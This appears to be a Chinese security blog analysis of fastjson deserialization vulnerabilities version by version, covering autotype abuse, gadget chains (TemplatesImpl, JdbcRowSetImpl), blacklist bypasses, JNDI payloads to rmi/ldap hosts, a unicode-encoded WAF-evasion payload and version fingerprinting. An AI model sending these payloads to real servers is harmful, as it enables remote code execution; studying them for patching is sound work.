fastjson注入分析与总结
fastjson
是阿里巴巴的开源 JSON
解析库,它可以解析 JSON
格式的字符串,支持将 Java Bean
序列化为 JSON
字符串,也可以从 JSON
字符串反序列化到 JavaBean
。
fastjson简介
将类转为json
最常用的方法就是 JSON.toJSONString()
,该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个:
- 序列化特性:
com.alibaba.fastjson.serializer.SerializerFeature
,可以通过设置多个特性到FastjsonConfig
中全局使用,也可以在使用具体方法中指定特性。 - 序列化过滤器:
com.alibaba.fastjson.serializer.SerializeFilter
,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化。 - 序列化时的配置:
com.alibaba.fastjson.serializer.SerializeConfig
,可以添加特点类型自定义的序列化配置。
将json反序列化为类
将 json
数据反序列化时常使用的方法为parse()
、parseObject()
、parseArray()
,这三个方法也均包含若干重载方法,带有不同参数:
- 反序列化特性:
com.alibaba.fastjson.parser.Feature
, - 类的类型:
java.lang.reflect.Type
,用来执行反序列化类的类型。 - 处理泛型反序列化:
com.alibaba.fastjson.TypeReference
。 - 编程扩展定制反序列化:
com.alibaba.fastjson.parser.deserializer.ParseProcess
,例如ExtraProcessor
用于处理多余的字段,ExtraTypeProvider
用于处理多余字段时提供类型信息。
示例代码
pom
依赖
1 | <dependency> |
User
类
1 | public class User { |
使用fastjson
将对象解析为字符串、从字符串解析为对象:
1 | import com.alibaba.fastjson.JSON; |
运行结果
1 | {"key1":"One","key2":"Two"} |
fastjson
通过JSON.toJSONString()
将对象转为字符串(序列化),当使用SerializerFeature.WriteClassName
参数时会将对象的类名写入@type
字段中,在重新转回对象时会根据@type
来指定类,进而调用该类的set
、get
方法。因为这个特性,我们可以指定@type
为任意存在问题的类,造成一些问题。
在字符串转对象的过程中(反序列化),主要使用JSON.parse()
和JSON.parseObject()
两个方法,两者区别在于parse()
会返回实际类型(User
)的对象,而parseObject()
在不指定class
时返回的是JSONObject
,指定class
才会返回实际类型(User
)的对象,也就是JSON.parseObject(s2)
和JSON.parseObject(s2, Object.class)
的区别,这里也可以指定为User.class
。
我们再来看@type
的问题,我定义了一个Evil
类,在其set
方法中可以执行命令
1 | import java.io.IOException; |
在fastjson
中加入如下代码:
1 | Object t3 = JSON.parseObject("{\"@type\":\"com.alter.test.Evil\",\"cmd\":\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"", Object.class); |
此时弹出计算器并增加如下输出
1 | Evil() |
我们通过控制@type
来实现反序列化恶意Evil
类,从而RCE
,很简单只是举个例子说明@type
的使用。
那么到这里还有一个问题,为什么写在setCmd
方法会自动调用呢?
set、get方法的自动调用
测试代码如下:
1 | System.out.println("--------------------------"); |
运行结果为
1 | -------------------------- |
可以看到parseObject(text)
的get
、set
、构造方法都自动调用了,另外两种解析方法(parse(text)
、parseObject(text,clazz)
)只调用了set
、构造方法。
在通过@type
拿到类之后,通过反射拿到该类所有的方法存入methods
接下来遍历methods
进而获取set
方法
总结set
方法自动调用的条件为:
- 方法名长度大于等于
4
- 不是静态方法
- 无返回值或返回值是当前类
- 参数为
1
- 方法名以
set
开头
当满足条件之后会从方法名截取属性名,截取时会判断方法名第四个字符,如果是 _
,如set_name
会截取为name
属性,具体逻辑如下:
当截取完但是找不到这个属性,会判断传入的第一个参数类型是否为布尔型,是的话将propertyName
第一个字母转大写拼接在is
后,并且然后重新尝试获取属性字段。
比如:public boolean setBoy(boolean t)
会寻找isBoy
字段。
接下来就是如果有setCmd()
会绑定cmd
属性,如果该类没有cmd
属性会绑定isCmd
属性。
获取get
方法
总结get
方法自动调用的条件为:
- 方法名长度大于等于
4
- 不是静态方法
- 无返回值或返回值是当前类
- 方法名以
get
开头 - 第四个字母大写
- 没有参数
- 返回值类型继承自
Collection
、Map
、AtomicBoolean
、AtomicInteger
、AtomicLong
在前文中我们知道parseObject(text)
返回的是JSONObject
对象,跟进其方法发现也是使用parse
解析的,但是多了一个(JSONObject)toJSON(obj)
parseObject(text)
调用get
方法的调用栈如下:(在调用set
和构造方法之后调用get
)
当程序绑定了对应的字段之后,如果传入json
字符串的键值中存在这个值,就会去调用执行对应的setter
、构造方法。
小结:
parse(jsonStr)
构造方法+Json
字符串指定属性的setter()
+特殊的getter()
parseObject(jsonStr)
构造方法+Json
字符串指定属性的setter()
+所有getter()
包括不存在属性和私有属性的getter()
parseObject(jsonStr,Object.class)
构造方法+Json
字符串指定属性的setter()
+特殊的getter()
- 使用
JSON.parse(jsonString)
和JSON.parseObject(jsonString, Target.class)
,两者调用链一致,前者会在jsonString
中解析字符串获取@type
指定的类,后者则会直接使用参数中的class
。 fastjson
在创建一个类实例时会通过反射调用类中符合条件的getter
/setter
方法,其中getter
方法需满足条件:方法名长于4
、不是静态方法、以get
开头且第4
位是大写字母、方法不能有参数传入、继承自Collection
|Map
|AtomicBoolean
|AtomicInteger
|AtomicLong
、此属性没有setter
方法;setter
方法需满足条件:方法名长于4
,以set
开头且第4
位是大写字母、非静态方法、返回类型为void
或当前类、参数个数为1
个。具体逻辑在com.alibaba.fastjson.util.JavaBeanInfo.build()
中。- 使用
JSON.parseObject(jsonString)
将会返回JSONObject
对象,且类中的所有getter
与setter
都被调用。 - 如果目标类中私有变量没有
setter
方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField
参数。 fastjson
在为类属性寻找get
/set
方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_|-
字符串,也就是说哪怕你的字段名叫_a_g_e_
,getter
方法为getAge()
,fastjson
也可以找得到,在1.2.36
版本及后续版本还可以支持同时使用_
和-
进行组合混淆。fastjson
在反序列化时,如果Field
类型为byte[]
,此时com.alibaba.fastjson.serializer#deserialze
中lexer.token()==4
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64
解码,对应的在序列化时也会进行base64
编码。
这里放一张大佬的fastjson经典流程图
- JSON 入口,提供将json串转换为java对象的静态方法。这些方法的实现,实际托付给了DefaultJSONParser类
- DefaultJSONParser 功能组合器,它将上层调用、反序列化配置、反序列化实现、词法解析等功能组合在一起,相当于设计模式中的外观模式,供外部统一调用
- ParserConfig 全局唯一的解析配置
- JSONLexer 专门用于解析 JSON 字符串,主要JSONScanner和JSONLexerBase,前者是对整个字符串的反序列化,后者是接Reader直接序列化
- SymbolTable 因为 json 特殊性,对关键 key 的缓存
- ObjectDeserializer 反序列化接口
漏洞历程
1. fastjson-1.2.24
在2017年3月15日,fastjson
官方主动爆出在 1.2.24
及之前版本存在远程代码执行高危安全漏洞。
影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。
在小于 fastjson 1.2.24
版本中有两条利用链。
1 | JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl |
TemplatesImpl 反序列化
TemplatesImpl
类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,实现了 Serializable
接口,因此它可以被序列化,我们来看一下漏洞触发点。
首先我们注意到该类中存在一个成员属性 _class
,是一个 Class
类型的数组,数组里下标为_transletIndex
,在getTransletInstance()
方法中数组元素使用 newInstance()
实例化。
而类中的 getOutputProperties()
方法调用 newTransformer()
方法, newTransformer()
又调用了 getTransletInstance()
方法。
而 getOutputProperties()
方法就是类成员变量 _outputProperties
的 getter
方法。
这就给了我们调用链,那 _class
中的类是否可控呢?看一下调用,发现在构造方法以及 defineTransletClasses()
中有赋值的动作。
其中 defineTransletClasses()
在 getTransletInstance()
中,如果 _class
为空即会被调用
看一下 defineTransletClasses()
的逻辑:
首先要求 _bytecodes
不为空,接着就会调用自定义的 ClassLoader
去加载 _bytecodes
中的 byte[]
。而 _bytecodes
也是该类的成员属性。
而如果这个类的父类为 ABSTRACT_TRANSLET
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,就会将类成员属性的 _transletIndex
设置为当前循环中的标记位,而如果是第一次调用,就是_class[0]
。如果父类不是这个类,将会抛出异常。
那这样一条完整的漏洞调用链就呈现出来了:
- 构造一个
TemplatesImpl
类的反序列化字符串,其中_bytecodes
是我们构造的恶意类的类字节码,这个类的父类是AbstractTranslet
,最终这个类会被加载到getTransletInstance()
,并使用newInstance()
实例化。 - 在反序列化过程中,由于
getter
方法getOutputProperties()
,满足条件,将会被fastjson
调用,而这个方法触发了整个漏洞利用流程:getOutputProperties()
->newTransformer()
->getTransletInstance()
->defineTransletClasses()
/EvilClass.newInstance()
.
其中,为了满足漏洞点触发之前不报异常及退出,我们还需要满足 _name
不为 null
,_tfactory
不为 null
。
由于部分需要我们更改的私有变量没有 setter
方法,需要使用 Feature.SupportNonPublicField
参数。
条件苛刻
- 服务端使用
parseObject()
时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
- 服务端使用
parse()
时,需要JSON.parse(text, Feature.SupportNonPublicField)
最终payload
如下:
1 | { |
poc
为
1 | public class fastjson_1_2_24 { |
看完poc
应该考虑的几个问题:
- 为什么
parseObject
需要Feature.SupportNonPublicField
? _bytecodes
为什么需要base64
编码?_tfactory
为什么为{}
?
Feature.SupportNonPublicField
在fastjson
中默认并不能序列化private
属性,而我们使用的TemplatesImpl
利用链的多个属性都是private
,如_name
、_tfactory
,所以在反序列化的时候需要加上Feature.SupportNonPublicField
,这也成了这个利用链的最大限制。
_bytecodes为什么需要base64编码
在解析byte[]
的时候进行了base64
解码
_tfactory为什么为{}
在fastjson-1.2.24.jar
的!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:576
解析字段值时,会自动判断传入键值是否为空,如果为空会根据类属性定义的类型自动创建实例
JdbcRowSetImpl 反序列化
JdbcRowSetImpl
类位于 com.sun.rowset.JdbcRowSetImpl
,这条漏洞利用链比较好理解,是 javax.naming.InitialContext#lookup()
参数可控导致的 JNDI
注入。
先看一下 setAutoCommit()
方法,在 this.conn
为空时,将会调用 this.connect()
方法。this.connect()
方法里调用了 javax.naming.InitialContext#lookup()
方法,参数从成员变量 dataSource
中获取。
这时调用链就十分清晰了,setDataSourceName()
和setAutoCommit()
满足setter
自动调用的条件,当我们传入对应json
键值对时就会触发setter
,进而触发jndi
链接。
最终的 payload
为:
1 | { |
这里给autoCommit
赋值是为了触发setAutoCommit
方法。
poc
为
1 | public static void jdbc() { |
JNDI
传输过程中使用的就是序列化和反序列化,所以通杀三种解析方式
1 | JSON.parse(evil); |
2. fastjson-1.2.25
在版本 1.2.25
中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType
安全机制,默认情况下 autoTypeSupport
关闭,不能直接反序列化任意类,而打开 AutoType
之后,是基于内置黑名单来实现安全的,fastjson
也提供了添加黑名单的接口。
影响版本:1.2.25 <= fastjson <= 1.2.41
描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。
安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig
,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport
,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList
,是反序列化类的黑名单;acceptList
是反序列化白名单。
其中黑名单 denyList
包括:
1 | bsh |
添加反序列化白名单有3种方法:
- 使用代码进行添加:
ParserConfig.getGlobalInstance().addAccept("org.alter.fastjson.,org.javaweb.")
- 加上JVM启动参数:
-Dfastjson.parser.autoTypeAccept=org.alter.fastjson.
- 在
fastjson.properties
中添加:fastjson.parser.autoTypeAccept=org.alter.fastjson.
看一下 checkAutoType()
的逻辑,如果开启了 autoType
或者 expectClass
不为空也就是指定了 Class
对象时,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass
加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。
如果没开启 autoType
,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType
或者 expectClass
不为空也就是指定了 Class
进入loadClass
看一下,发现这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [
、L
、;
字符。
因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。
因此,漏洞利用的思路就出来了:需要开启 autoType
,使用带有描述符的类来进行黑名单的绕过。
最终的 payload
其实就是在之前的 payload
类名上前后加上 L
和 ;
即可:
1 | { |
3. fastjson-1.2.42
在版本 1.2.42
中,fastjson
继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 hash
的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。
影响版本:1.2.25 <= fastjson <= 1.2.42
描述:通过变量常用的jar、类、字符串碰撞hash得到黑名单,有一个项目已经做好了:https://github.com/LeadroyaL/fastjson-blacklist
加密方式在com.alibaba.fastjson.util.TypeUtils#fnv1a_64
是有的
并且在 checkAutoType
中加入判断,如果类的第一个字符是 L
结尾是 ;
,则使用 substring
进行了去除。还是用hash
写的。
但是这种判断完全是徒劳的,因为在最后处理时是递归处理,因此只要对描述符进行双写即可绕过:
1 | { |
4. fastjson-1.2.43
这个版本主要是修复上一个版本中双写绕过的问题。
影响版本:1.2.25 <= fastjson <= 1.2.43
描述:上有政策,下有对策。在 L、; 被进行了限制后,安全研究人员将目光转向了 [。
可以看到用来检查的 checkAutoType
代码添加了判断,如果类名连续出现了两个 L
将会抛出异常
这样使用 L
、;
绕过黑名单的思路就被阻挡了,但是在 loadClass
的过程中,还针对 [
也进行了处理和递归,可以利用 [
进行黑名单的绕过(1.2.25 <= fastjson <=1.2.43
都可以利用[
过滤)payload
如下:
1 | { |
5. fastjson-1.2.44
这个版本主要是修复上一个版本中使用 [
绕过黑名单防护的问题。
影响版本:1.2.25 <= fastjson <= 1.2.44
描述:在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。
在 checkAutoType
中添加了新的判断,如果类名以 [
开始则直接抛出异常。
可以使用像fastjson-1.2.45
的payload byPass
6. fastjson-1.2.45
在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson
的版本更新,一定会有更多的黑名单爆出来,因为隔壁 jackson
都是明文黑名单的,只要隔壁一更新,大家都看到了,就会拿来看 fastjson
。
影响版本:1.2.25 <= fastjson <= 1.2.45
描述:黑名单列表需要不断补充。
payload
如下:
1 | { |
需要pom
1 | <dependency> |
7. fastjson-1.2.47
在 fastjson
不断迭代到 1.2.47
时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport
的情况下进行反序列化的利用。
影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47不论是否开启AutoTypeSupport
描述:作者删除了一个 fastjson 的测试文件:https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66 ,里面包含了这次通杀漏洞的 payload。
分析
这次的绕过问题还是出现在 checkAutoType()
方法中:
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { |
由以上代码可知,这里存在一个逻辑问题: autoTypeSupport
为 true
时,fastjson
也会禁止一些黑名单的类反序列化,但是有一个判断条件:当反序列化的类在黑名单中,且 TypeUtils.mappings
中没有该类的缓存时,才会抛出异常。这里就留下了一个伏笔。就是这个逻辑导致了 1.2.32
之前的版本将会受到 autoTypeSupport
的影响。
1.2.32
之前的版本由于开启了AutoTypeSupport,所以会进行黑白名单判断。黑名单判断逻辑为:
1 | for(i = 0; i < this.denyList.length; ++i) { |
这样进入黑名单判断,因为com.sun属于黑名单里面的内容,会抛出异常所以利用失败。1.2.33
及以后的版本增加了如下代码
1 | if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) { |
这样即使className.startsWith(deny)满足,但TypeUtils.getClassFromMapping(typeName) == null
不满足,这样就不会抛出异常
在 autoTypeSupport
为默认的 false
时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序在 TypeUtils.mappings
中和 deserializers
中尝试查找要反序列化的类,如果找到了,就会进入下面if(clazz!=null)
这个判断中,并进行 return
,这就避开下面 autoTypeSupport
默认为 false
时的检查。
如何才能在这两步中将我们的恶意类加载进去呢?
先看 deserializers
,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers
,是一个 IdentityHashMap
,能向其中赋值的函数有:
getDeserializer()
:这个类用来加载一些特定类,以及有JSONType
注解的类,在put
之前都有类名及相关信息的判断,无法为我们所用。initDeserializers()
:无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。putDeserializer()
:被前两个函数调用,我们无法控制入参。
因此我们无法向 deserializers
中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)
。
同样的,这个方法从 TypeUtils.mappings
中取值,这是一个 ConcurrentHashMap
对象,能向其中赋值的函数有:
addBaseClassMappings()
:无入参,加载loadClass()
:关键函数
看一下 loadClass()
的代码:
1 | public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { |
由以上代码可知,只要我们能够控制这个方法的参数,就可以往 mappings
中写入任意类名。loadClass
一共有三个重载方法,如下图:
我们需要找到调用这些方法的类,并看是否能够为我们控制:
Class<?> loadClass(String className, ClassLoader classLoader, boolean cache)
:调用链均在checkAutoType()
和TypeUtils
里自调用,略过。Class<?> loadClass(String className)
:除了自调用,有一个castToJavaBean()
方法,暂未研究。Class<?> loadClass(String className, ClassLoader classLoader)
:方法调用三个参数的重载方法,并添加参数true
,也就是会加入参数缓存中。
重点看一下两个参数的 loadClass
方法在哪调用:
在这里我们关注 com.alibaba.fastjson.serializer.MiscCodec#deserialze
方法,这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class
类,成为了我们的入口。
如果 parser.resolveStatus
为TypeNameRedirect
(值为2) 时,进入 if
语句,会解析 val
中的内容并放入 objVal
中,然后传入 strVal
中。
后面的逻辑如果 class
是 Class.class
时,将会调用 loadClass
方法,将 strVal
进行类加载并缓存:
小结
首先要避开checkAutoType()
中autoTypeSupport
默认为 false
时的检查,从两个if
判断语句入手
发现只有TypeUtils.getClassFromMapping(typeName)
可能对clazz
赋值
使用两个参数的loadclass
向mapping
中赋值MiscCodec#deserialze
方法调用了两个参数的loadclass
调用之前需要满足parser.resolveStatus
为TypeNameRedirect
(值为2) 时,其中一个key
为 val
,此时会将val
的内容放入 objVal
中,然后传入 strVal
中。
接着如果 class
是 Class.class
时,将会调用 loadClass
方法,将 strVal
进行类加载并缓存
所以可以将恶意类名存到val
中,这就完成了恶意类的加载,可以避开异常的抛出。
如何满足parser.resolveStatus
为TypeNameRedirect
(值为2),在后面调试中会讲到
调试
构造一个 json
:{"@type":"java.lang.Class","val":"aaaaa"}
,调试一下:JSON.parseObject()
经过如下调用栈,来到parse(String text, ParserConfig config, int features)
parse
调用 DefaultJSONParser
对 JSON
进行解析。DefaultJSONParser.parseObject()
调用 checkAutoType()
检查待加载类的合法性。
由于 deserializers
在初始化时将 Class.class
进行了加载,因此使用 findClass
可以找到,越过了后面 AutoTypeSupport
的检查。checkAutoType()
提前return
后,回到DefaultJSONParser.parseObject()
,在后面将resolveStatus
设置为 为TypeNameRedirect
(值为2)DefaultJSONParser.parseObject()
根据不同的 class
类型分配 deserialzer
,Class
类型由 MiscCodec.deserialze()
处理。
解析 json
中 val
中的内容,并放入 objVal
中,如果不是 val
将会报错。
传递至 strVal
并使用 loadClass
加载并缓存。
此时恶意的 val
成功被我们加载到 mappings
中,再次以恶意类进行 @type
请求时即可绕过黑名单进行的阻拦
因此最终 payload
为:
1 | { |
可以看到,对alter2
进行检查时TypeUtils.getClassFromMapping(typeName);
找到了typeName(com.sun.rowset.JdbcRowSetImpl)
,提前reutrn
。
在 1.2.47
版本漏洞爆发之后,官方在 1.2.48
对漏洞进行了修复,在 MiscCodec
处理 Class
类的地方,设置了cache
为 false
,并且 loadClass
重载方法的默认的调用改为不缓存,这就避免了使用了 Class
提前将恶意类名缓存进去。
这个安全修复为 fastjson
带来了一定时间的平静,直到 1.2.68
版本出现了新的漏洞利用方式。
8. fastjson-1.2.62
黑名单绕过
1 | {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}"; |
9. fastjson-1.2.66
黑名单绕过
1 | // 需要autotype true |
10. fastjson-1.2.67
范围:fastjson<=1.2.67
前提条件:
- 开启
AutoType
; Fastjson <= 1.2.67
;JNDI
注入利用所受的JDK
版本限制;org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
类需要ignite-core
、ignite-jta
和jta
依赖;org.apache.shiro.jndi.JndiObjectFactory
类需要shiro-core
和slf4j-api
依赖;
1 | {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}} |
11. fastjson-1.2.68
在 1.2.47
版本漏洞爆发之后,官方在 1.2.48
对漏洞进行了修复,在 MiscCodec
处理 Class
类的地方,设置了cache
为 false
,并且 loadClass
重载方法的默认的调用改为不缓存,这就避免了使用了 Class
提前将恶意类名缓存进去。
这个安全修复为 fastjson
带来了一定时间的平静,直到 1.2.68
版本出现了新的漏洞利用方式。
影响版本:fastjson <= 1.2.68
描述:利用 expectClass 绕过 checkAutoType() ,实际上也是为了绕过安全检查的思路的延伸。主要使用 Throwable 和 AutoCloseable 进行绕过。
版本 1.2.68
本身更新了一个新的安全控制点 safeMode
,如果应用程序开启了 safeMode
,将在 checkAutoType()
中直接抛出异常,也就是完全禁止 autoType
,不得不说,这是一个一劳永逸的修复方式。
但与此同时,这个版本报出了一个新的 autoType
开关绕过方式:利用 expectClass
绕过 checkAutoType()
。
在 checkAutoType()
函数中有这样的逻辑:如果函数有 expectClass
入参,且我们传入的类名是 expectClass
的子类或实现,并且不在黑名单中,就可以通过 checkAutoType()
的安全检测。(isAssignableFrom(clazz)
判定此 Class
对象所表示的类或接口与指定的 Class
参数所表示的类或接口是否相同,或是否是其超类或超接口)
接下来我们找一下 checkAutoType()
几个重载方法是否有可控的 expectClass
的入参方式,最终找到了以下几个类:
ThrowableDeserializer#deserialze()
JavaBeanDeserializer#deserialze()
ThrowableDeserializer#deserialze()
方法直接将 @type
后的类传入 checkAutoType()
,并且 expectClass
为 Throwable.class
。
通过 checkAutoType()
之后,将使用 createException
来创建异常类的实例。
这就形成了 Throwable
子类绕过 checkAutoType()
的方式。我们需要找到 Throwable
的子类,这个类的 getter/setter/static block/constructor
中含有具有威胁的代码逻辑。
与 Throwable
类似地,还有 AutoCloseable
,之所以使用 AutoCloseable
以及其子类可以绕过 checkAutoType()
,是因为 AutoCloseable
是属于 fastjson
内置的期望类中,其余的调用链一致,流程不再赘述
payload
:
1 | {"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"} |
pom
依赖如下:
1 | <dependency> |
修复方式简单粗暴,将java.lang.Runnable
,java.lang.Readable
和java.lang.AutoCloseable
加入了黑名单
并且从这个版本(1.2.68
)开始,Fastjson
引入了safeMode
功能,safeMode
可以用来控制关闭反序列化功能,开启后禁止反序列化,并且会直接抛出异常,彻底解决了反序列化造成的问题。
这里补充一下2021BlackHat上的议题《How i use json deserialization》
BlackHat 2021 议题 :
链接:https://www.blackhat.com/us-21/briefings/schedule/#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815
PPT链接:http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf
对比1.2.68中的期望类(TypeUtils.java)和黑名单,发现少了 java.lang.AutoCloseabl和java.util.BitSet,所以有以下流程
所以实际上找到一个typeName满足以下条件就可以绕过checkAutoType的检测:
- 继承于java.lang.AutoCloseabl或java.util.BitSet
- 不在fastjson的黑名单类中
- 其父类和父类接口不在黑名单中
《How i use json deserialization》议题中给出了一些方向: 继承于 java.lang.AutoCloseable 的类能够导致的漏洞:
- Mysql RCE
- Apache commons io read and write files
- Jetty SSRF
- Apachexbean-reflectRCE
- …….
12. fastjson-1.2.80
bypasswaf
本地测试时注意jdk版本、依赖、依赖版本等
https://www.sec-in.com/article/950Fastjson
默认会去除键、值外的空格、\b
、\n
、\r
、\f
等,同时还会自动将键与值进行unicode
与十六进制解码。
这样就可以在payload里面添加除键、值外的空格、\b
、\n
、\r
、\f
,也可以对payload进行unicode和十六进制编码
如:
1 | \u0040\u0074\u0079\u0070\u0065":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","asText":"\u006c\u0064\u0061\u0070\u003a\u002f\u002f\u0031\u0035\u0039\u002e\u0031\u0033\u0038\u002e\u0031\u0033\u0030\u002e\u0032\u0030\u0031\u003a\u0031\u0033\u0038\u0039\u002f\u0054\u006f\u006d\u0063\u0061\u0074\u0042\u0079\u0070\u0061\u0073\u0073\u002f\u0043\u006f\u006d\u006d\u0061\u006e\u0064\u002f\u0062\u0061\u0073\u0065\u0036\u0034\u002f\u0059\u0033\u0056\u0079\u0062\u0043\u0041\u0078\u004e\u0054\u006b\u0075\u004d\u0054\u004d\u0034\u004c\u006a\u0045\u007a\u004d\u0043\u0034\u0079\u004d\u0044\u0045\u0036\u004f\u0044\u0067\u0076\u004d\u0058\u0078\u0069\u0059\u0058\u004e\u006f |
第二种方法:
第三种方法是使用大量脏数据绕WAF
获取版本号
目前最新版本1.2.83
可以获取
原理是在JavaBeanDeserializer
类中能够抛出异常,异常包含版本信息。
1 | if (token != 12 && token != 16) |
在com.alibaba.fastjson.parser#JSONToken
中给出了token
的定义
1 | public static final int LBRACE = 12;// ("{") |
绕过第一个条件,payload
不能使{
闭合并且不能有,
1 | String payload ="{\"@type\":\"java.lang.AutoCloseable\"}";//token=12 |
绕过第二个条件,不涉及[]
就行。
下面是poc
// 方法一
// String payload ="{\"@type\":\"java.lang.AutoCloseable\"";
// Object t2 = JSON.parseObject(payload);
// 方法二
String payload = "a";
Object t = JSON.parseObject(payload,getVersion.class);
总结
- fastjson <= 1.2.24
JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
JNDI com.sun.rowset.JdbcRowSetImpl
1.2.25 <= fastjson <= 1.2.41
1.2.25
引入了checkAutoType
安全机制L ;
绕过[ [
绕过1.2.25 <= fastjson <= 1.2.42
双写L ;
绕过[ [
绕过1.2.25 <= fastjson <= 1.2.43
[ [
绕过1.2.25 <= fastjson <= 1.2.44
使用后面的的payload
进行byPass
1.2.25 <= fastjson <= 1.2.45
根据jackson
的黑名单的到如JndiDataSourceFactory
1.2.25 <= fastjson <= 1.2.32 没有开启 AutoTypeSupport 以及 1.2.33 <= fastjson <= 1.2.47不论是否开启AutoTypeSupport
通杀payload
fastjson-1.2.62
范围没测
黑名单绕过fastjson-1.2.66
范围没测
黑名单绕过fastjson<=1.2.67
fastjson <= 1.2.68
版本1.2.68
本身更新了一个新的安全控制点safeMode
,如果应用程序开启了safeMode
,将在checkAutoType()
中直接抛出异常,也就是完全禁止autoType
expectClass
绕过
更多绕过参考https://github.com/safe6Sec/Fastjson
通过hash
碰撞得到黑名单,https://github.com/LeadroyaL/fastjson-blacklistfastjson
流程分析可以看panda
师傅的[文章](https://www.cnpanda.net/sec/1183.html